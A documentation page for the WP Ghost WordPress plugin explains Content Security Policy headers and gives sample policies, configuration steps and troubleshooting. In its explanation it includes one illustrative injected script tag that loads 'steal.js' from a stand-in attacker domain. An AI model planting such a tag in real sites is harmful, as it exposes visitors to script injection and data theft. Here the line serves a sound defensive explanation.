Content Security Policy (CSP) for WordPress

CSP
Table of Contents

Configure a Content Security Policy (CSP) in WP Ghost to control exactly which domains can load scripts, styles, images, and other resources on your WordPress site. CSP is the most powerful HTTP security header available. It tells the browser which content sources are allowed and blocks everything else. An attacker who injects a script tag pointing to their malicious domain? CSP blocks it – the browser refuses to load scripts from unauthorized sources. WP Ghost lets you define and customize your CSP directly in the plugin settings.

What Is Content Security Policy?

What is Content Security Policy and how it protects WordPress from XSS and injection attacks

Content Security Policy (CSP) is an HTTP response header that defines a whitelist of trusted content sources for your website. You specify which domains can serve scripts, stylesheets, images, fonts, frames, and other resources. The browser enforces these rules – any resource from an unlisted source is blocked from loading.

CSP works in two steps. First, you define a policy – a set of directives specifying allowed sources for each content type. Second, the browser enforces the policy on every page load, rejecting any resource that violates the rules. If an attacker injects a <script src="https://evil.com/steal.js"> tag into your page, the browser checks the CSP, sees that evil.com isn’t in the script-src whitelist, and blocks it. The script never executes. MDN reference.

Why CSP Matters for WordPress Security

CSP addresses the attack that firewalls can’t fully prevent: code execution inside the browser. Here’s why it’s critical for your hack prevention strategy:

It’s the strongest defense against XSS. Cross-Site Scripting (XSS) is the most common web vulnerability. An attacker injects malicious JavaScript into your page – through a comment, form field, or compromised plugin. Without CSP, the browser executes it without question. With CSP, the injected script is blocked because it doesn’t come from an authorized source. CSP turns XSS from a critical vulnerability into a blocked request.

It blocks unauthorized data exfiltration. Even if an attacker gets code onto your page, the connect-src directive restricts where that code can send data. If the attacker’s server isn’t in your CSP whitelist, stolen data can’t be transmitted. CSP creates a second line of defense even when the first is breached.

Security scanners grade it heavily. SecurityHeaders.com weights CSP as the most important header in its grading. Google Lighthouse checks for it. PCI DSS compliance increasingly expects it. A well-configured CSP is a mark of professional security posture.

CSP Directive Reference

Each CSP directive controls a specific type of content. Here are the directives you’ll use most often in WordPress:

default-src – The fallback for any content type that doesn’t have its own directive. Start with 'self' (allow only your own domain) and add exceptions per type.

script-src – Controls which domains can serve JavaScript. The most security-critical directive. Add domains for Google Analytics, reCAPTCHA, payment gateways, and any third-party scripts you use.

style-src – Controls which domains can serve CSS stylesheets. Add 'unsafe-inline' if your theme or plugins use inline styles (most WordPress themes do).

img-src – Controls image sources. Add your CDN domain and data: if your theme uses inline data-URI images.

font-src – Controls font sources. Add https://fonts.googleapis.com and https://fonts.gstatic.com if you use Google Fonts.

connect-src – Controls AJAX, fetch, and WebSocket destinations. Critical for WooCommerce AJAX, REST API calls, and analytics.

frame-src – Controls which domains can be loaded in iframes. Add YouTube, Vimeo, or payment gateway domains as needed.

object-src – Controls Flash and other plugin objects. Set to 'none' – there’s no reason to allow these on modern websites.

CSP Examples for WordPress

Start with the example closest to your setup and customize from there. Always test after applying.

Default CSP (WP Ghost)

WP Ghost’s default CSP is intentionally minimal – it blocks Flash/plugin objects without restricting other content sources:

object-src 'none';

This is a safe starting point. It won’t break any functionality but only blocks one attack vector (plugin/Flash injection).

Basic Script Restriction

Restrict scripts to your own domain and one trusted third-party source:

script-src 'self' https://trustedsite.com

script-src specifies allowed script sources. 'self' allows scripts from your own domain. Replace https://trustedsite.com with the actual domain of your third-party service (e.g., https://www.google-analytics.com).

Multi-Source WordPress Site

A typical WordPress site using a CDN, Google Fonts, an image hosting service, and third-party scripts:

default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self'; img-src https://images.example.com; font-src https://fonts.googleapis.com; connect-src 'self'; frame-src 'self'; object-src 'none';

Each directive restricts a specific content type: scripts from your domain and CDN, styles from your domain only, images from your image host, fonts from Google, connections and frames from your domain, and no plugin objects. Replace the example domains with your actual service domains.

WordPress with Inline Scripts

Most WordPress themes and plugins use inline scripts and styles. If your site needs them (and most do), add 'unsafe-inline':

default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none';

'unsafe-inline' allows inline <script> and <style> tags. While this reduces CSP’s XSS protection, it’s often necessary for WordPress sites that rely heavily on inline code. Adding data: to img-src allows base64-encoded inline images.

Note: 'unsafe-inline' reduces CSP protection against XSS. If possible, audit your theme and plugins to minimize inline scripts and use stricter directives. For most WordPress sites, this is a pragmatic compromise between security and functionality.

WordPress Admin Area

A permissive but secure CSP suitable for the WordPress admin dashboard, where many features require inline scripts and HTTPS resources:

default-src https: 'unsafe-inline' 'self' data:; base-uri 'self'; frame-ancestors 'none'; object-src 'none';

default-src https: 'unsafe-inline' 'self' data: allows resources from any HTTPS source, inline content, your domain, and data URIs. base-uri 'self' prevents base tag hijacking. frame-ancestors 'none' prevents the admin from being framed (clickjacking protection). object-src 'none' blocks plugins and Flash.

How to Set CSP in WP Ghost

  1. Go to WP Ghost > Firewall > Header Security.
  2. Find the Content Security Policy (CSP) input field.
  3. Enter your CSP rules. Start with one of the examples above and customize for your site’s services.
  4. Click Save.
  5. Test your frontend thoroughly – check that all pages, forms, scripts, and embedded content still work.
WP Ghost Content Security Policy input field in Header Security settings

CSP can break things. A restrictive CSP will block any script, stylesheet, or resource from a domain not in your whitelist. If Google Analytics, a payment gateway, live chat, embedded videos, or any third-party service stops working, the CSP is blocking it. Check your browser’s console (F12 → Console tab) for CSP violation errors to see exactly what was blocked and from which domain. Add that domain to the appropriate directive.

Troubleshooting

A third-party service stopped working

Open your browser’s console (F12 → Console). Look for CSP violation errors – they show the blocked URL and which directive blocked it. Add the blocked domain to the appropriate directive in your CSP. For example, if Google Analytics is blocked, add https://www.google-analytics.com to script-src and connect-src.

The entire site layout breaks

This usually means style-src doesn’t include 'unsafe-inline' and your theme uses inline styles. Add 'unsafe-inline' to the style-src directive. If scripts break too, add 'unsafe-inline' to script-src. If the site is completely unusable, clear the CSP field in WP Ghost, save, and start over with a more permissive policy.

If you’ve lost access, check the emergency disable guide, use the rollback settings, or add a constant in wp-config.php to disable WP Ghost temporarily.

Frequently Asked Questions

What CSP should I start with?

Start with Example 4 (WordPress with Inline Scripts) if your site uses standard WordPress themes and plugins. It allows inline scripts and styles while restricting external sources to your own domain. Add third-party domains as needed. If you’re unsure, start with the WP Ghost default (object-src 'none') and build up gradually.

Does CSP work with WooCommerce?

Yes, but you need to whitelist your payment gateway domains. Stripe, PayPal, Square, and other payment processors load scripts and iframes from their domains. Add these to script-src, frame-src, and connect-src. WP Ghost is fully compatible with WooCommerce – CSP just requires correct domain whitelisting for payment services.

Does CSP affect SEO?

No. Search engine crawlers don’t enforce CSP. Your content, sitemaps, and structured data are unaffected. CSP is a browser-level security mechanism. Google Lighthouse does check for CSP presence in security audits, so having one can improve your overall Lighthouse score.

What’s the difference between this and the Header Security tutorial?

The Header Security tutorial covers all seven security headers WP Ghost adds, including CSP. This tutorial is a deep dive specifically into CSP – the most complex header that requires customization for each site. Use the Header Security tutorial to enable all headers; use this tutorial to understand and configure CSP specifically.

Does WP Ghost modify WordPress core files?

No. CSP is delivered as an HTTP response header through server configuration and PHP. No WordPress core files are modified. Clearing the CSP field in WP Ghost removes the header instantly.

Complete your header and firewall security:

Tagged: